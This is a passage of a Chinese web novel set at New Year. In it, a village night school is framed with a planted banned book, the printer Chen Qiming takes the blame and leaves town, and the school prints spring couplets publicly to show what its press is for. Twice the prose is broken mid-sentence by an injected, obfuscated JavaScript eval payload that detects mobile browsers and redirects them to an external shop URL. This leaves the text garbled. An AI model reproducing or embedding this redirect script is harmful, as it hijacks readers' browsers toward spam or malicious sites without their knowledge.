“船尾的标记。”张静远道，“昨夜我上船时，偷偷拓下来的。” 张静轩仔细看。图案虽然残缺，但风格独特，不像民间常见的设计。“这像……军徽？” “不完全是。”张静远摇头，“军徽不会这么精细。倒像是……某个团体的标志。” 他顿了顿：“我托前线的战友查了，还没回信。但有种感觉——这个标志，我好像在哪见过。” 张静轩心头一动：“陈先生他们……” “不是青云会。”张静远肯定道，“青云会的标志我见过，是本书和笔交叉。这个……更像某种家族的徽章。” 家族？张静轩想起孙维民，想起王秉章，想起那些盘根错节的关系网。如果这条船属于某个家族，那事情就更复杂了。 “大哥，你觉得……这条船运禁书，可能不只是生意？” “我也这么想。”张静远眼神凝重，“禁书风险大，利润却不高。若真是生意，没必要冒这么大险。除非……另有目的。” “什么目的？” 张静远沉默良久，缓缓吐出两个字：“栽赃。” 栽赃？张静轩想起昨夜孙维民查仓库时的情景——若货没被转移，那些禁书就是现成的“罪证”。青石镇、学堂、张家，都会被扣上“传播异端”的帽子。 但栽赃给青石镇，对那个家族有什么好处？ “想不明白。”张静远摇头，“但肯定不是好事。咱们只能小心，再小心。” 兄弟俩对坐无言。书房里只有油灯燃烧的噼啪声，和窗外隐约传来的风声。雪后的夜，格外寂静，也格外漫长。 腊月二十八，晨。 青石镇比往日更热闹。夜校的消息传开了，街坊们议论纷纷，有说好的，有疑惑的，但大多表示会去看看。学堂门口贴了告示，红纸黑字写着夜校的时间、内容，还特意注明“免费，老少皆宜”。 张静轩一早到学堂帮忙。祠堂里已经收拾出来，桌椅摆成半圆形，正前方挂上了黑板。陈老秀才果然送来了几幅古画——山水、花鸟，装裱精致，挂在两侧墙壁上，顿时添了几分雅致。 苏宛音在准备教案，程秋实在写板书，陈启明带着人布置场地。印刷机还在转动，最后一批识字画正在装订。 “静轩，”苏宛音招呼他，“来，试试这个。” 她递过一张纸，上面列着夜校第一课的内容：“一、写春联：福、寿、春、祥；二、算年账：加减乘除；三、识年货：米、面、油、肉。” 简单实用。张静轩点头：“好。苏先生主讲？” “我讲识字和算账，程先生讲写春联。”苏宛音顿了顿，“陈老先生说，他也要讲一段——讲青石镇过年的老规矩。” 这安排周到。既教新知识，也尊重老传统，街坊们容易接受。 正忙着，水生跑进来，小脸冻得通红：“静轩哥，外头……外头来了个人，说要见你。” “谁？” “不认识，穿得可体面了，还戴着眼镜。”水生比划着，“说话文绉绉的。” 张静轩心里咯噔一下。他放下手中的东西，走到门口。 门外站着个人，四十来岁，穿着灰色呢子大衣，戴金丝眼镜，手里提着个皮包。正是茶馆里那个低沉声音的主人。 “张静轩同学？”那人开口，声音果然低沉，“鄙人姓吴，省教育学会的干事。听说青石镇学堂办夜校，特来看看。” 省教育学会？张静轩心头警铃大作。孙维民就是教育学会的，这人又来，肯定不是巧合。 “吴干事请进。”他不动声色，侧身让路。 吴干事走进祠堂，四下打量。他的目光在印刷设备上停留片刻，又在陈启明等人身上扫过，最后落在黑板上的夜校内容上。 “夜校……教这些？”他问，语气听不出喜怒。 “是。”张静轩道，“过年了，街坊们用得着。” “倒是实用。”吴干事点点头，走到印刷机旁，“这些设备……是学堂的？” “是合作方提供的。”张静轩谨慎回答，“印教材用。” “哦？印什么教材？”吴干事拿起一张刚印好的识字画，“这个？” “对，新春识字画。过年时发给街坊，既能贴，又能识字。” 吴干事翻看着识字画，半晌，笑了笑：“想法不错。”他把画放下，转向张静轩，“张同学，我这次来，其实是奉学会之命，考察各地办学情况。青石镇学堂……最近可还顺利？” 这话问得微妙。张静轩斟酌着回答：“还算顺利。街坊们支持，孩子们用功。” “听说……前阵子省厅来考察过？” “是，王组长他们来过。” “评价如何？” “说我们办学扎实，但……还有提升空间。”张静轩答得滴水不漏。 吴干事推了推眼镜，镜片后的眼睛闪着光：“王组长回去后，向学会做了汇报。学会很重视青石镇的经验，所以派我再来看看。”他顿了顿，“张同学，夜校的事，学会支持。但要注意……内容要合规，不能越界。” “我们明白。” “那就好。”吴干事从皮包里取出一份文件，“这是学会的‘乡村教育指导意见’，你们看看。有什么需要，可以提。” 张静轩接过文件。纸张挺括，印刷精美，盖着省教育学会的红章。他粗略翻看，内容都是冠冕堂皇的话——重视教育、启智新民、因地制宜等等。 “谢谢吴干事。”他道谢。 “不客气。”吴干事收回目光，又在祠堂里转了一圈，最后停在陈启明面前，“这位是……” “合作方的陈先生。”张静轩介绍，“负责印刷。” 陈启明点头致意。吴干事打量他几眼，忽然问：“陈先生看着面熟，是不是……在省城待过？” “待过几年。”陈启明平静回答。 “做什么营生？” “开过印刷社。” “哦……”吴干事若有所思，“难怪手艺好。” 他没有再问，转身对张静轩说：“夜校什么时候开始？” “今晚戌时。” “好，我今晚也来听听。”吴干事笑了笑，“看看青石镇的乡亲们，是怎么学知识的。” 他说完，告辞离开。张静轩送到门口，看着他上了那辆黑亮马车，驶远。 回到祠堂，陈启明眉头紧皱：“这个人……不简单。” “怎么说？” “他认识我。”陈启明低声道，“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140669|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在省城开印刷社时，跟他打过照面。那时候他还是个小科员，但记性好，见过的人过目不忘。” 张静轩心头一沉：“那他认出你了？” “应该认出了。”陈启明点头，“但他没点破，说明……他在观望。” “观望什么？” “观望咱们夜校的成色。”陈启明分析，“如果夜校办得好，街坊们欢迎，他可能就不动咱们；如果办砸了，或者有什么纰漏，他就有理由动手了。” 张静轩明白了。这个吴干事，是来“验收”的。夜校成了试金石，成则生，败则危。 “那咱们……” “按计划办。”陈启明眼神坚定，“不仅要办，还要办得漂亮。让街坊们都说好，让他挑不出毛病。” 压力更大了。张静轩深吸一口气，点头。 接下来的时间，所有人都在紧张准备。苏宛音和程秋实反复演练课程，陈启明检查印刷设备，张静轩则带着水生去街上最后一遍通知。 腊月二十八，戌时。 学堂里灯火通明。祠堂里挤满了人——船工、铁匠、卖豆腐的、开杂货铺的，男女老少都有，怕有百十来号。炭火盆烧得旺，暖意融融。陈老秀才坐在前排正中央，穿着崭新的深蓝绸衫，拄着紫檀拐杖，神情庄重。 吴干事果然来了，坐在陈老秀才旁边，脸上带着和煦的笑。 戌时整，夜校开始。陈老秀才先讲话，老人家声音洪亮：“诸位乡亲，今日学堂办夜校，是青石镇的大好事！读书识字，不是读书人的专利，咱们老百姓也该学！学了，算账明白，写信顺当，过日子更有底气！” 掌声雷动。街坊们显然被这番话打动，个个挺直了腰板。 接着是苏宛音讲课。她今天穿了件月白袄子，站在黑板前，清清秀秀，但讲起课来条理清晰。从“福”字讲起，讲笔画，讲含义，讲怎么贴。又教简单的加减法，用年货买卖举例，通俗易懂。 张静轩在下面看着。街坊们听得很认真，有人拿纸笔跟着写，有人小声念叨。水生坐在他爹周大栓旁边，小声教他认字。李铁匠瞪大眼睛，盯着黑板上的算题，手指在膝盖上比划。 一切顺利。 但就在课程过半时，变故发生了。 祠堂外忽然传来喧哗声，接着，几个人闯了进来。为首的是个陌生汉子，三十来岁，满脸横肉，身后跟着几个地痞模样的人。 “听说这儿教课，免费？”汉子大声道，“俺们也来听听！” 气氛顿时紧张。这伙人明显不是来听课的，是来捣乱的。吴干事推了推眼镜，没说话，但眼神冷了下来。 程秋实上前：“欢迎。后面有空位，请坐。” “坐？”汉子冷笑，“俺们站着听！”他一挥手，几个地痞散开，有的靠在墙上，有的蹲在门口，眼神不善。 课堂秩序被打乱了。街坊们面面相觑，有些胆小的已经想走。陈老秀才站起身，正要说话，被张静轩按住。 张静轩走上前，直视那汉子：“这位大哥，夜校是教识字算账的。你若想学，欢迎；若不想学，请自便。” 汉子上下打量他：“你就是张家小少爷？听说你办学堂，挺能耐啊。” “不敢。” “俺今天来，就想问问，”汉子提高声音，“你们这学堂，教不教……造反的道理？” 这话像炸弹，在祠堂里炸开。街坊们哗然，吴干事的脸沉了下来。 张静轩心头一紧，但面上平静：“学堂只教识字、算数、做人道理。造反？不知大哥从哪儿听来的谣言？” “谣言？”汉子从怀里掏出一本书，扔在地上，“那这是啥？！” 书落在青砖地上，发出沉闷的响声。张静轩低头一看，心头狂震——那是一本禁书，封面上印着刺眼的标题，正是昨夜他们烧掉的那种！ 祠堂里死一般寂静。所有人的目光都盯着那本书，又看向张静轩。 吴干事缓缓站起身，走到书前，弯腰捡起。他翻开看了几页，脸色越来越冷。 “张同学，”他抬起头，声音冰冷，“这本书……是学堂的？” 陷阱。这是赤裸裸的陷阱。张静轩瞬间明白了——这伙人，是吴干事安排的。所谓的夜校“验收”，所谓的“观望”，都是幌子。真正的杀招，在这里。 他深吸一口气，正要开口，忽然，一个声音从门口传来。 “书是我的。” 所有人转头。陈启明站在门口，面色平静。他走进来，从吴干事手里接过书，翻了翻，点头：“是我以前收藏的，不小心混进了教材里。给学堂添麻烦了，抱歉。” 他说得自然，仿佛真是无意之失。但张静轩知道，这是陈启明在替他挡刀。 吴干事盯着陈启明：“陈先生，私藏禁书，可是重罪。” “我知道。”陈启明坦然道，“所以早就处理了。这本……可能是漏网之鱼。”他把书递给身后的眼镜青年，“拿去烧了。” 眼镜青年接过书，转身就走。汉子想拦，被陈启明一个眼神制止。 “吴干事，”陈启明转向吴干事，“夜校还在继续，别因为一本旧书，扫了大家的兴。” 这话说得不卑不亢。吴干事脸色变幻，最终，他笑了：“陈先生说得对。夜校继续。” 汉子还想说什么，被吴干事一个眼神瞪了回去。几人悻悻离开，祠堂里重新恢复平静，但气氛已不一样了。 夜校继续，但街坊们的心显然乱了。苏宛音勉强讲完剩下的课，戌时三刻，夜校草草结束。 送走街坊，祠堂里只剩下学堂的人。陈启明关上门，脸色凝重。 “书是新的。”他低声道，“油墨味还没散尽，是刚印的。” 张静轩心头一沉：“他们……现印的？” “对。”陈启明点头，“就是为了栽赃。若我刚才不认，那本书就是学堂的‘罪证’。” “可他们怎么知道那种书……” “我早该想到。”陈启明苦笑，“孙维民查过青云会，手里有样本。复制一本，不难。” 张静轩感到一阵后怕。若刚才陈启明没站出来，若那本书被坐实是学堂的……后果不堪设想。 “吴干事不会罢休。”程秋实忧心忡忡，“这次没成，还会有下次。” “我知道。”陈启明深吸一口气，“所以，咱们得变。” “怎么变？” 陈启明眼中闪过一丝决绝：“印刷设备，连夜转移。我，还有小王他们……暂时离开青石镇。” 张静轩一愣：“陈先生……” “这是最好的选择。”陈启明拍拍他的肩，“我们在，永远是靶子。我们走，他们就没理由动学堂。” “可夜校才刚开始，识字画还没发完……” “你们继续。”陈启明道，“设备我留一套简易的，够印教材用。剩下的，我带走。至于我们……去别的地方，换个方式，继续做事。” 他说得平静，但张静轩听出了其中的无奈与坚定。这位曾经的热血青年，在经历一次次挫败后，选择了更智慧的路——不是退缩，是转移阵地。 “什么时候走？”张静轩问。 “现在。”陈启明看了看窗外，“雪夜赶路，不易追踪。” 说走就走。陈启明和三个年轻人开始收拾设备。张静轩想帮忙，被陈启明拦住：“你们别沾手。若有人查，就说我们私自盗用设备，你们不知情。” 这是把所有的责任都揽下了。张静轩眼眶发热：“陈先生……” “别这样。”陈启明笑了，“咱们做的事，不是为了谁感激。是为了那些该做的事，能继续做下去。” 行李很快收拾好，装上一辆租来的马车。陈启明最后看了一眼学堂，这个他待了不到一个月的地方，却好像待了很久。 “静轩，”他轻声道，“学堂好好办。这条路难，但值得。” 张静轩重重点头。 陈启明又对苏宛音和程秋实拱手：“二位先生，保重。” 马车驶出巷子，消失在雪夜里。张静轩站在门口，看着车辙印在雪地上延伸，远去，最终被新雪覆盖。 腊月二十八，夜。 青石镇依然安宁。 但有些人走了，有些事变了。 雪又飘了起来。 覆盖痕迹，覆盖过往。 也覆盖那些不为人知的告别。 28. 第二十九章 雪后初晴 腊月二十九，晨。 雪后初晴，天光乍破。青石镇的屋瓦上积雪未消，在晨光里泛着淡淡的金。檐下的冰凌开始滴水，嗒，嗒，嗒，像更漏，计量着年关最后的时辰。 张静轩一夜未眠。 他坐在书房里，看着窗外渐渐亮起来的天色。昨夜送走陈启明后，他就一直坐在这里，脑子里反复回放着夜校那一幕——那本突然出现的禁书，陈启明挺身而出的背影，还有吴干事镜片后那双冰冷的眼睛。 书案上摊着那套简易印刷设备。是陈启明临走前留下的，只有一个手摇印刷机和几盒常用铅字，油墨也只够用半个月。“够印教材了。”陈启明当时说，“等开春，我再托人送新的来。” 这话说得轻松，但张静轩知道，这一别，不知何时能再见。陈启明他们这一走，是避祸，也是保护。把所有的风险都带走了，留给学堂的，是一个暂时安全的空壳。 可空壳能撑多久？ 门轻轻响了。张静远推门进来，手里端着碗热粥：“一夜没睡？” 张静轩接过粥，碗壁烫手：“睡不着。” “我也没睡。”张静远在对面坐下，揉了揉眉心，“后半夜，我去码头看了看。” “有什么发现？” “那辆黑马车还在。”张静远声音低沉，“停在‘悦来茶馆’后院，马没卸套，随时能走。吴干事……没走。” 这在意料之中。张静轩吹了吹粥，热气氤氲了他的脸：“他在等什么？” “等腊月三十。”张静远顿了顿，“等省城来那个人。” 腊月三十，就是明天。年关最后一天，也是约定中“省城来人”的日子。吴干事留下，显然是为了接应。 “大哥，”张静轩放下碗，“你觉得……省城会来谁？” 张静远沉默片刻，缓缓道：“能让吴干事这样等，能让孙维民那伙人俯首帖耳的……不会是小角色。可能……是王秉章本人，也可能……是他背后更上面的人。” “他们到底想干什么？” “不知道。”张静远摇头，“但肯定不是好事。昨夜那出戏，只是试探。试探咱们的反应，试探街坊们的态度。真正的杀招，恐怕在明天。” 张静轩感到一阵无力。这种看不见对手、猜不透意图的对抗，比明刀明枪更磨人。你永远不知道下一刀从哪里来，什么时候来。 “那咱们……” “该做什么还做什么。”张静远站起身，走到窗前，“学堂照常，夜校继续。今天腊月二十九，该备年货备年货，该贴春联贴春联。越正常，他们越没辙。” 话虽如此，但张静轩知道，大哥心里也没底。只是作为兄长，作为这个家的顶梁柱，他必须表现得镇定。 早饭后，张静轩照例去学堂。雪后的街道比往日更热闹，年关的气氛冲淡了昨夜的不安。街坊们见面互相拜早年，孩子们在雪地里追逐嬉戏，红灯笼在檐下晃晃悠悠。 路过陈老秀才家时，老人正在门口晒太阳。看见张静轩，他招招手：“静轩，来。” 张静轩走过去。陈老秀才从袖里掏出个红封：“这个，给你。” “陈老先生，这……” “不是给你的，是给学堂的。”陈老秀才把红封塞进他手里，“昨夜的事，我看见了。那帮混账东西，想搅黄咱们的夜校。没门！” 红封很厚，里面是银元。张静轩眼眶一热：“陈老先生，这怎么使得……” “使得。”陈老秀才摆摆手，“我老了，没几天活头了。这些钱，留着也没用，不如给学堂，给孩子们。”他顿了顿，压低声音，“静轩，昨夜那本书……不是偶然吧？” 张静轩心头一震，没说话。 “你不说，我也猜得到。”陈老秀才叹了口气，“有些人，见不得咱们好。但咱们偏要好给他们看！夜校，接着办！今晚我还去，我看谁敢捣乱！” 这话说得硬气。张静轩深深一揖：“谢陈老先生。” “谢什么。”陈老秀才扶起他，“青石镇是我的根，学堂是青石镇的希望。护着学堂，就是护着根。” 离开陈老家，张静轩心里暖了些。街坊们的支持，是实实在在的力量。昨夜那么一闹，非但没吓退大家，反而激起了众人的护犊之心。 到学堂时，苏宛音和程秋实已经在忙了。祠堂里炭火盆烧得旺，昨晚被搅乱的桌椅重新摆好，黑板上的字迹擦得干干净净，准备写今天的夜校内容。 “静轩，”苏宛音放下手中的抹布，“陈先生他们……安全离开了吧？” “应该安全。”张静轩点头，“雪夜赶路，不易追踪。” 程秋实推了推眼镜，忧心忡忡：“设备少了那么多，以后印刷……” “陈先生留了一套简易的。”张静轩走到后厢房，掀开油布，“暂时够用。他说开春后再送新的来。” 苏宛音看了看那套简陋的设备，轻声道：“委屈陈先生了。” “他说不委屈。”张静轩想起陈启明临走时的话，“换个地方，换个方式，继续做事。” 三人沉默了片刻。窗外传来孩童的嬉笑声，是早起的学生来学堂玩雪。年假期间，学堂虽不上课，但孩子们还是喜欢来这里——这里有书，有黑板，有他们熟悉的先生。 “今晚的夜校，”程秋实打破沉默，“还办吗？” “办。”张静轩肯定道，“陈老先生说了，他今晚还来。街坊们也都会来。” “可吴干事那边……” “他若来，咱们正常接待。”张静轩道，“他若捣乱，街坊们不会答应。” 这倒也是。昨夜那场闹剧，街坊们都看在眼里。那本禁书出现得蹊跷，陈启明认领得干脆，明眼人都能看出有问题。今天若再来，不用学堂出面，街坊们的唾沫星子就能把那伙人淹了。 “那今晚教什么？”苏宛音问。 “还教实用的。”张静轩想了想，“教写‘福’字，教算年账，再教……教认钱币。过年要发压岁钱，这个最实在。” 苏宛音眼睛一亮：“这个好。我去准备。” 程秋实也点头：“我再写几副春联样版，让大家照着描。” 分工明确，各自忙开。张静轩走到院子里，看着那棵老槐树。树杈上的积雪在阳光下慢慢融化，雪水顺着枝干流下，滴在树根处，渗进冻土里。 像眼泪，也像甘露。 他忽然想起大哥说的那句话：“真正的根基，扎在土里，看不见，但最结实。” 学堂的根基，就是这些街坊的心。昨夜那场风波，非但没动摇根基，反而让根基扎得更深了。 午前，周大栓来了。这位船工师傅今日没出工，特意来学堂帮忙。“静轩，”他搓着手，“昨晚那伙人，今早还在镇上转悠。我让码头的兄弟盯着呢，一有动静就来报。” “谢周叔。” “谢啥。”周大栓咧嘴笑，“学堂是咱们大家的，谁想动，先问问咱们答应不答应。”他顿了顿，“对了，水生那小子，昨晚回去可激动了，说长大了也要像陈先生那样，有担当。” 张静轩笑了。这就是传承——陈启明担下风险，保护了学堂；水生看在眼里，记在心里。一代人影响一代人，希望就是这样传递的。 午后，李铁匠也来了，扛着一捆木炭：“天冷，多备点炭，晚上夜校用。”放下炭，他又压低声音，“镇公所那边，赵明德的位子空了。听说……是吴干事暂时接管。” 这消息重要。张静轩心头一紧：“吴干事接管镇公所？” “名义上是‘临时协理’。”李铁匠道，“说是赵明德‘涉嫌渎职’，被带走了，镇上的事务不能没人管。” 好借口。张静轩明白了——吴干事这是要名正言顺地插手青石镇事务。有了“临时协理”这个身份，他查学堂、查印刷、查夜校，就都“合规”了。 “还有，”李铁匠声音更低了，“吴干事今早去了趟砖窑。” 砖窑？张静轩心头一震。那里有地下仓库，虽然昨夜清理过了，但若仔细查，难免留下痕迹。 “他发现了什么？” “不知道。”李铁匠摇头，“我徒弟远远跟着，看见吴干事在窑里待了半个时辰，出来时脸色不好看。可能……没找到他想找的。” 张静轩稍稍放心。昨夜他们处理得很干净，灰烬埋了，脚印扫了，应该没留线索。但吴干事既然盯上了砖窑，说明他已经怀疑那里了。 送走李铁匠，张静轩在院子里踱步。雪后的阳光很好，照在身上暖洋洋的，但他心里却一片冰凉。 吴干事在步步紧逼——接管镇公所，探查砖窑，下一步……可能就是直接搜查学堂了。虽然昨夜陈启明把大部分设备带走了，但留下的这套简易印刷机，还有那些铅字、油墨，若被查获，依然是“罪证”。 得想个办法。 他回到书房，看着那套简易设备。忽然，一个念头冒出来——如果……设备不是用来印教材的呢？ 他立刻去找苏宛音和程秋实。 “我有个想法。”张静轩指着印刷设备，“今晚夜校，咱们当场印东西。” “印什么？”程秋实问。 “印春联。”张静轩道，“就用这套设备，当场给街坊们印春联。内容就写‘福寿安康’‘五谷丰登’这些吉庆话。让所有人都看见——这套设备，只印这些。” 苏宛音明白了：“你是要……当众证明设备的用途？” “对。”张静轩点头，“吴干事若来查，街坊们都能作证——这套设备，从没印过禁书，只印过教材和春联。” 这主意大胆，但有效。当众演示，众目睽睽，比任何辩解都有力。 “可咱们没印过春联……”程秋实犹豫。 “现学。”张静轩道，“铅字都是现成的，拼起来就行。油墨不够，我去买。” 说干就干。程秋实去准备春联内容，苏宛音去裁红纸，张静轩则上街买油墨。雪后的街道人来人往，他在“文宝斋”买了三盒油墨，又顺便买了些红纸、金粉——既然要印，就印得漂亮些。 回学堂的路上，他看见那辆黑马车还停在“悦来茶馆”后院。车夫不在，车厢帘子拉着，看不清里面。张静轩加快脚步，匆匆而过。 回到学堂，三人开始试验。程秋实拼好了“福”字和“春”字的铅版，苏宛音调好油墨，张静轩操作印刷机。手摇柄转动，滚筒压过铅版，沾上油墨，再压到红纸上—— 第一张春联印出来了。 虽然墨色有些淡，字迹也有些模糊，但能看出是“福”字。三人相视一笑，有了信心。 接着印“寿”字、“安”字、“康”字。一遍遍试验，墨色渐渐均匀，字迹渐渐清晰。到傍晚时，他们已经能印出像模像样的春联了。 “今晚夜校，”张静轩看着桌上摊开的几十副春联，“每个来的人，送一副。” “那得印多少？”程秋实算着。 “能印多少印多少。”张静轩道，“印不完的，明天继续。总之，要让所有人都看见，这套设备在做什么。” 天色渐暗，学堂里点起灯。炭火盆烧得旺，暖意融融。陆陆续续地，街坊们来了——周大栓带着水生，李铁匠带着徒弟，陈老秀才拄着拐杖，还有卖豆腐的王婶、开杂货铺的刘掌柜……祠堂里很快坐满了人。 戌时整，夜校开始。陈老秀才照例先讲话，老人家今天声音格外洪亮：“昨夜有些混账来捣乱，咱们不怕！夜校照办，学堂照开！今晚，学堂还要给大伙儿印春联，现场印，现场送！” 掌声雷动。街坊们兴奋地交头接耳，目光都投向那套简易印刷设备。 张静轩走到设备前，深吸一口气，开始操作。手摇柄转动，滚筒压过铅版，沾上油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140670|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨，再压到红纸上。一张印着“福”字的春联，缓缓出来。 他举起春联，墨迹未干，在灯光下闪着光。 “这副‘福’字春联，”他朗声道，“送给陈老先生。祝您福如东海，寿比南山！” 陈老秀才接过春联，老泪纵横：“好，好！这‘福’字，我贴大门上！” 接着印“寿”字，送给周大栓；“安”字，送给李铁匠；“康”字，送给王婶……一副副春联印出来，一个个街坊接过去。祠堂里气氛热烈，像过年提前到了。 就在印到第二十副时，门口传来了脚步声。 吴干事来了。 他依然穿着灰色呢子大衣，戴着金丝眼镜，身后跟着两个人——正是昨夜捣乱的那个汉子和另一个手下。三人站在门口，看着祠堂里的热闹景象。 张静轩停下印刷，抬头看向他。 祠堂里安静下来。街坊们都转头看着门口，眼神里有警惕，有不满，也有隐隐的敌意。 吴干事推了推眼镜，脸上挤出一个笑：“这么热闹？我也来凑凑。” 他走进来，目光扫过印刷设备，扫过桌上摊开的春联，扫过街坊们手里的红纸。最后，停在张静轩脸上。 “张同学，”他开口，“这是在印什么？” “印春联。”张静轩平静道，“过年了，给街坊们送点喜庆。” “哦？用印刷机印春联？”吴干事走到设备前，伸手摸了摸滚筒，“这设备……挺精巧。” “简易设备，只能印些简单的。”张静轩道，“印教材，印识字画，现在印春联。都是学堂用得着的。” 吴干事点点头，拿起一张刚印好的春联，对着灯光看了看：“字迹清楚，墨色均匀。手艺不错。”他放下春联，转向街坊们，“乡亲们，这春联，喜欢吗？” “喜欢！”周大栓大声道，“比买的还好！” “就是！”李铁匠接话，“学堂有心了！” 街坊们纷纷附和。吴干事的笑容僵了僵，但很快恢复：“喜欢就好。学堂为乡亲们做事，是该支持。” 他顿了顿，忽然问：“张同学，这设备……是从哪儿来的？” 来了。张静轩心头一紧，但面上平静：“合作方提供的。具体哪位，不方便说。” “合作方？”吴干事挑眉，“是那位……陈先生？” “陈先生已经离开了。”张静轩答得不卑不亢，“设备是他留下的，说是支持学堂办学。” “离开了？”吴干事眼中闪过一丝什么，“什么时候离开的？” “昨夜。”张静轩直视他，“夜校结束后。” 这话说得巧妙——既承认陈启明离开，又暗示离开与夜校有关。吴干事若追问，就等于承认昨夜是他捣乱。 吴干事果然没再追问。他沉默片刻，忽然笑了：“陈先生有心了。这设备，学堂用着合适就好。” 他说完，转身要走，又停住：“对了，明日腊月三十，省教育学会有位领导要来青石镇考察。到时候，可能会来看看学堂。你们……准备一下。” 这话像一颗石子投入平静的湖面。祠堂里顿时响起议论声。 省教育学会的领导？腊月三十来？这分明是来者不善。 张静轩深吸一口气，点头：“我们随时欢迎。” 吴干事深深看了他一眼，带着人离开了。脚步声渐远，最终消失在雪夜里。 祠堂里一片寂静。街坊们面面相觑，刚才的热闹荡然无存。 陈老秀才拄着拐杖站起来，声音苍老但坚定：“怕什么？来就来！咱们学堂光明正大，不怕看！” “对！”周大栓拍案而起，“明日咱们都来，给学堂撑场子！” “都来！”李铁匠也站起来，“看他能怎样！” 街坊们纷纷响应。张静轩看着那一张张朴实而坚定的脸，眼眶发热。 这就是青石镇的百姓。平日里可能计较几分利，可能为点小事争吵，但大是大非面前，他们分得清，站得直。 “静轩，”苏宛音轻声说，“明日……” “兵来将挡。”张静轩握紧拳，“咱们做好该做的，问心无愧。” 夜校继续，但气氛已不同。街坊们没了之前的轻松，多了几分凝重。春联还在印，一副副红纸金字，在灯光下格外刺眼。 像战书，也像旌旗。 戌时三刻，夜校结束。街坊们拿着春联离开，每个人都走得慢，仿佛想把这一刻多留一会儿。 张静轩送走最后一位街坊，关上门。祠堂里只剩下他们三人，还有那套简易印刷设备。 “明日……”程秋实欲言又止。 “明日的事，明日再说。”张静轩开始收拾设备，“今晚，咱们先把能做的做了。” 他把印刷机擦干净，铅字归位，油墨盖好。动作很慢，很仔细，像在完成某种仪式。 苏宛音和程秋实帮忙收拾春联，一张张叠好，用红绳捆起来。灯光下，红纸金字堆成小山，像一团燃烧的火。 “静轩，”苏宛音忽然问，“你怕吗？” 张静轩停下手，想了想，诚实地说：“怕。但怕也得做。” “为什么？” “因为……”他看向窗外，雪夜的青石镇宁静祥和，“因为这是咱们的根。根若没了，树就倒了。” 苏宛音沉默。良久，她轻声道：“你说得对。” 收拾完，三人离开学堂。雪又飘了起来，细密的雪粒在夜风里翻飞。张静轩走在最后，锁上门时，他回头看了一眼—— 祠堂里，灯光还亮着。 那光透过窗纸，晕开一团暖黄，在雪夜里格外醒目。 像灯塔，也像烽火。 指引方向，也昭示存在。 他深吸一口气，转身走入风雪。 明日，腊月三十。年关最后一天。